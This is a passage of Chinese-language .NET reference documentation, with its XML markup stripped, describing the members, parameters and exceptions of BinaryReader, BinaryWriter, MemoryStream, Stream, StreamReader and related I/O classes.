类的新实例，有选择性的打开流。 + 输入流。 + 要使用的字符编码。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + 该流不支持读取，为null 或已关闭。 + + 或 为 null。 + + + 公开对 的基础流的访问。 + 与 BinaryReader 关联的基础流。 + 2 + + + 释放 类的当前实例所使用的所有资源。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 用从流中读取的指定字节数填充内部缓冲区。 + 要读取的字节数。 + 在可以读取 之前到达了流的末尾。 + 发生 I/O 错误。 + 请求的 大于内部缓冲区大小。 + + + 返回下一个可用的字符，并且不提升字节或字符的位置。 + 下一个可用的字符，或者，如果没有可用字符或者流不支持查找时为 -1。 + 发生 I/O 错误。 + 当前字符无法通过使用为该流选择的 解码到内部字符缓冲区中。 + 2 + + + 从基础流中读取字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 输入流中的下一个字符，如果当前无可用字符则为 -1。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 从字节数组中的指定点开始，从流中读取指定的字节数。 + 读入 的字节数。如果可用的字节没有请求的那么多，此数可能小于所请求的字节数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字节数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从字符数组中的指定点开始，从流中读取指定的字符数。 + 读入缓冲区的总字符数。如果当前可用的字节没有请求的那么多，此数可能小于所请求的字符数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字符数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 以压缩格式读入 32 位整数。 + 压缩格式的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 流已损坏。 + + + 从当前流中读取 Boolean 值，并使该流的当前位置提升 1 个字节。 + 如果字节为非零，则为 true，否则为 false。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取下一个字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的下一个字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取指定的字节数以写入字节数组中，并将当前位置前移相应的字节数。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字节数组可能小于所请求的字节数。 + 要读取的字节数。此值必须为 0 或非负数字，否则将出现异常。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 发生 I/O 错误。 + 流已关闭。 + + 为负数。 + 2 + + + 从当前流中读取下一个字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 从当前流中读取的字符。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 读取了一个代理项字符。 + 2 + + + 从当前流中读取指定的字符数，并以字符数组的形式返回数据，然后根据所使用的 Encoding 和从流中读取的特定字符，将当前位置前移。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字符数组可能小于所请求的字符数。 + 要读取的字符数。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 流已关闭。 + 发生 I/O 错误。 + + 为负数。 + 2 + + + 从当前流中读取十进制数值，并将该流的当前位置提升十六个字节。 + 从当前流中读取的十进制数值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节浮点值，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 2 字节有符号整数，并使流的当前位置提升 2 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节有符号整数，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节有符号整数，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从此流中读取 1 个有符号字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的一个有符号字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节浮点值，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 4 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取一个字符串。字符串有长度前缀，一次 7 位地被编码为整数。 + 正被读取的字符串。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 使用 Little-Endian 编码从当前流中读取 2 字节无符号整数，并将流的位置提升 2 个字节。 + 从该流中读取的 2 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节无符号整数并使流的当前位置提升 4 个字节。 + 从该流中读取的 4 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节无符号整数并使流的当前位置提升 8 个字节。 + 从该流中读取的 8 字节无符号整数。 + 已到达流的末尾。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。 + 2 + + + 初始化向流中写入的 类的新实例。 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输出流。 + 该流不支持写入或者该流已关闭。 + + 为 null。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输出流。 + 要使用的字符编码。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输出流。 + 要使用的字符编码。 + 如果在释放 对象之后打开流对象，则为 true；否则为， false。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 获取 的基础流。 + 与 BinaryWriter 关联的基础流。 + 1 + + + 释放由 类的当前实例占用的所有资源。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 指定无后备存储区的 。 + 1 + + + 持有基础流。 + + + 设置当前流中的位置。 + 包含当前流的位置。 + 相对于 的字节偏移量。 + + 的一个字段，指示获取新位置所依据的参考点。 + 文件指针被移到无效位置。 + + 值无效。 + 1 + + + 将单字节 Boolean 值写入当前流，其中 0 表示 false，1 表示 true。 + 要写入的 Boolean 值（0 或 1）。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个无符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的无符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将字节数组写入基础流。 + 包含要写入的数据的字节数组。 + 发生 I/O 错误。 + 流已关闭。 + + 为 null。 + 1 + + + 将字节数组部分写入当前流。 + 包含要写入的数据的字节数组。 + + 中开始写入的起始点。 + 要写入的字节数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 Unicode 字符写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 要写入的非代理项 Unicode 字符。 + 发生 I/O 错误。 + 流已关闭。 + + 是单一代理项字符。 + 1 + + + 将字符数组写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 为 null。 + 流已关闭。 + 发生 I/O 错误。 + 1 + + + 将字符数组部分写入当前流，并根据所使用的 Encoding（可能还根据向流中写入的特定字符），提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 中开始写入的起始点。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个十进制值写入当前流，并将流位置提升十六个字节。 + 要写入的十进制值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节浮点值写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 2 字节有符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节有符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节有符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个有符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的有符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节浮点值写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将有长度前缀的字符串按 的当前编码写入此流，并根据所使用的编码和写入流的特定字符，提升流的当前位置。 + 要写入的值。 + 发生 I/O 错误。 + + 为 null。 + 流已关闭。 + 1 + + + 将 2 字节无符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节无符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节无符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 以压缩格式写出 32 位整数。 + 要写出的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 流已关闭。 + + + 读操作试图超出流的末尾时引发的异常。 + 2 + + + 初始化 类的新实例，将其消息字符串设置为系统提供的消息，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + + + 初始化 类的新实例，使其消息字符串设置为 ，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + + + 使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 类的新实例。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 在数据流的格式无效时引发的异常。 + + + 初始化 类的新实例。 + + + 使用指定的错误消息初始化 类的新实例。 + 解释异常原因的错误信息。 + + + 用对作为此异常原因的内部异常的引用初始化 类的新实例。 + 解释异常原因的错误信息。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 创建一个流，其后备存储为内存。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化为零的可扩展容量初始化 类的新实例。 + + + 基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建当前流的无符号字节数组。 + + 为 null。 + + + 在 属性按指定设置的状态下，基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + + 基于字节数组的指定区域（索引）初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 为 null。 + + 或 小于零。 + 缓冲区长度减去 小于 。 + + + 在 属性按指定设置的状态下，基于字节数组的指定区域，初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 在 属性和调用 的能力按指定设置的状态下，基于字节数组的指定区域初始化 类的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + 设置为 true 可以启用 ，它返回无符号字节数组，流从该数组创建；否则为 false。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 使用按指定要求初始化的可扩展容量初始化 类的新实例。 + 内部数组的初始大小（以字节为单位）。 + + 为负数。 + + + 获取一个值，该值指示当前流是否支持读取。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持查找。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持写入。 + 如果流支持写入，则为 true；否则为 false。 + 2 + + + 获取或设置分配给该流的字节数。 + 流的缓冲区的可使用部分的长度。 + 容量设置为负或小于流的当前长度。 + 当前流已关闭。 + 对不能修改其容量的流调用 set。 + 2 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取所有字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。 + 要监视取消请求的标记。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 重写 方法以便不执行任何操作。 + 2 + + + 异步清除此流的所有缓冲区，并监视取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。 + 流已被释放。 + + + 获取流的长度（以字节为单位）。 + 流的长度（以字节为单位）。 + 流已关闭。 + 2 + + + 获取或设置流中的当前位置。 + 流中的当前位置。 + 此位置设置为负值或大于 的值。 + 流已关闭。 + 2 + + + 从当前流中读取字节块并将数据写入缓冲区。 + 写入缓冲区中的总字节数。如果字节数当前不可用，则总字节数可能小于所请求的字节数；如果在读取到任何字节前已到达流结尾，则为零。 + 当此方法返回时，包含指定的字节数组，该数组中从 到 ( + -1) 之间的值由从当前流中读取的字符替换。 + + 中的从零开始的字节偏移量，从此处开始存储当前流中的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 的结果小于 。 + 当前流实例已关闭。 + 2 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流中读取一个字节。 + 强制转换为 的字节；或者如果已到达流的末尾，则为 -1。 + 当前流实例已关闭。 + 2 + + + 将当前流中的位置设置为指定值。 + 流内的新位置，通过将初始引用点和偏移量合并计算而得。 + 流内的新位置。它是相对于 参数的位置，而且可正可负。 + 类型 的值，它用作查找引用点。 + 试图在流的开始位置之前查找。 + + 大于 。 + + 无效。- 或 - 导致算法溢出。 + 当前流实例已关闭。 + 2 + + + 将当前流的长度设为指定值。 + 用于设置长度的值。 + 当前流无法调整大小，而且 大于当前容量。- 或 - 当前流不支持写入。 + + 为负或者大于 的最大长度，其中最大长度为 (- origin)，origin 为基础缓冲区中作为流的起点的索引。 + 2 + + + 将流内容写入字节数组，而与 属性无关。 + 新的字节数组。 + 2 + + + 返回从中创建此流的无符号字节的数组。用于指示转换是否成功的返回值。 + 如果转换成功，则为 true；否则为 false。 + 用于创建此流的字节数组段。 + + + 使用从缓冲区读取的数据将字节块写入当前流。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 最多写入的字节数。 + + 为 null。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置到流结尾的距离小于 字节，并且无法修改容量。 + 缓冲区长度减去 的结果小于 。 + + 或 为负。 + 发生 I/O 错误。 + 当前流实例已关闭。 + 2 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入当前位置上的当前流。 + 要写入的字节。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置位于流的末尾，而且容量不能被修改。 + 当前流已关闭。 + 2 + + + 将此内存流的整个内容写入到另一个流中。 + 要写入此内存流的流。 + + 为 null。 + 当前流或目标流已关闭。 + 2 + + + 指定在流的位置以查找使用。 + 2 + + + 指定流的开头。 + + + 指定流内的当前位置。 + + + 指定流的结尾。 + + + 提供字节序列的一般视图。这是一个抽象类。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 类的新实例。 + + + 当在派生类中重写时，获取指示当前流是否支持读取的值。 + 如果流支持读取，为 true；否则为 false。 + 1 + + + 当在派生类中重写时，获取指示当前流是否支持查找功能的值。 + 如果流支持查找，为 true；否则为 false。 + 1 + + + 获取一个值，该值确定当前流是否可以超时。 + 一个确定当前流是否可以超时的值。 + 2 + + + 当在派生类中重写时，获取指示当前流是否支持写入功能的值。 + 如果流支持写入，则为 true；否则为 false。 + 1 + + + 从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 使用指定的缓冲区大小，从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + 缓冲区的大小。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小，从当前流中异步读取字节并将其写入到另一流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放由 使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，将清除该流的所有缓冲区，并使得所有缓冲数据被写入到基础设备。 + 发生 I/O 错误。 + 2 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 异步清理这个流的所有缓冲区，并使所有缓冲数据写入基础设备，并且监控取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。默认值为 。 + 流已被释放。 + + + 当在派生类中重写时，获取流长度（以字节为单位）。 + 表示流长度（以字节为单位）的长值。 + 从 Stream 派生的类不支持查找。 + 在流关闭后调用方法。 + 1 + + + 无后备存储区的 Stream。 + 1 + + + 当在派生类中重写时，获取或设置当前流中的位置。 + 流中的当前位置。 + 发生 I/O 错误。 + 流不支持查找。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，从当前流读取字节序列，并将此流中的位置提升读取的字节数。 + 读入缓冲区中的总字节数。如果很多字节当前不可用，则总字节数可能小于请求的字节数；如果已到达流结尾，则为零 (0)。 + 字节数组。此方法返回时，该缓冲区包含指定的字符数组，该数组的 和 ( + -1) 之间的值由从当前源中读取的字节替换。 + + 中的从零开始的字节偏移量，从此处开始存储从当前流中读取的数据。 + 要从当前流中最多读取的字节数。 + + 与 的和大于缓冲区长度。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流不支持读取。 + 在流关闭后调用方法。 + 1 + + + 从当前流异步读取字节序列，并将流中的位置提升读取的字节数。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从流中读取一个字节，并将流内的位置向前提升一个字节，或者如果已到达流结尾，则返回 -1。 + 强制转换为 Int32 的无符号字节，如果到达流的末尾，则为 -1。 + 流不支持读取。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试读取多长时间。 + 一个确定流在超时前尝试读取多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 当在派生类中重写时，设置当前流中的位置。 + 当前流中的新位置。 + 相对于 参数的字节偏移量。 + + 类型的值，指示用于获取新位置的参考点。 + 发生 I/O 错误。 + 流不支持查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，设置当前流的长度。 + 所需的当前流的长度（以字节表示）。 + 发生 I/O 错误。 + 流不支持写入和查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 2 + + + 当在派生类中重写时，向当前流中写入字节序列，并将此流中的当前位置提升写入的字节数。 + 字节数组。此方法将 个字节从 复制到当前流。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 要写入当前流的字节数。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 流不支持写入。 + + 流关闭后调用。 + 1 + + + 将字节序列异步写入当前流，并将流的当前位置提升写入的字节数。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入流内的当前位置，并将流内的位置向前提升一个字节。 + 要写入流中的字节。 + 发生 I/O 错误。 + 该流不支持写入，或者该流已关闭。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试写入多长时间。 + 一个确定流在超时前尝试写入多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 实现一个 ，使其以一种特定的编码从字节流中读取字符。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 为指定的流初始化 类的新实例。 + 要读取的流。 + + 不支持读取。 + + 为 null。 + + + 用指定的字节顺序标记检测选项，为指定的流初始化 类的一个新实例。 + 要读取的流。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 为 null。 + + + 用指定的字符编码为指定的流初始化 类的一个新实例。 + 要读取的流。 + 要使用的字符编码。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码和字节顺序标记检测选项。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + 最小缓冲区大小。 + 流不支持读取。 + + 或 为 null。 + + 小于或等于零。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小，有选择性的打开流。 + 要读取的流。 + 要使用的字符编码。 + 如果要在文件开头查找字节顺序标记，则为 true；否则为 false。 + 最小缓冲区大小。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + + + 返回基础流。 + 基础流。 + 2 + + + 获取当前 对象正在使用的当前字符编码。 + 当前读取器所使用的当前字符编码。第一次调用 的任何 方法后，该值可能会不同，因为直到第一次调用 方法时，才会进行编码的自动检测。 + 2 + + + 清除内部缓冲区。 + 2 + + + 关闭基础流，释放 使用的未托管资源，同时还可以根据需要释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 获取一个值，该值指示当前的流位置是否在流结尾。 + 如果当前流位置位于流的末尾，则为 true；否则为 false。 + 基础流已释放。 + 1 + + + 空流周围的 。 + 1 + + + 返回下一个可用字符，但不使用它。 + 为表示下一个要读取的字符的整数，或者，如果没有要读取的字符或该流不支持查找，则为 -1。 + 发生 I/O 错误。 + 1 + + + 读取输入流中的下一个字符并使该字符位置提升一个字符。 + 输入流中表示为 对象的下一个字符。如果不再有可用的字符，则为 -1。 + 发生 I/O 错误。 + 1 + + + 从指定的索引位置开始将来自当前流的指定的最多字符读到缓冲区。 + 已读取的字符数，或者如果已到达流结尾并且未读取任何数据，则为 0。该数小于或等于 参数，具体取决于流中是否有可用的数据。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 开始写入的 的索引。 + 要读取的最大字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 出现 I/O 错误，如流被关闭。 + 1 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入缓冲区之前已到达流结尾，则将返回当前方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取指定的最大字符数并从指定的索引位置开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，取决于是否所有的输入字符都已读取。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生了 I/O 错误。 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入到缓冲区之前就已经达到流结尾，则将返回此方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取一行字符并将数据作为字符串返回。 + 输入流中的下一行；如果到达了输入流的末尾，则为 null。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 从当前流中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自流的下一行；如果读取了所有字符，则为 null。 + 下一行中的字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取来自流的当前位置到结尾的所有字符。 + 字符串形式的流的其余部分（从当前位置到结尾）。如果当前位置位于流结尾，则返回空字符串 (“”)。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 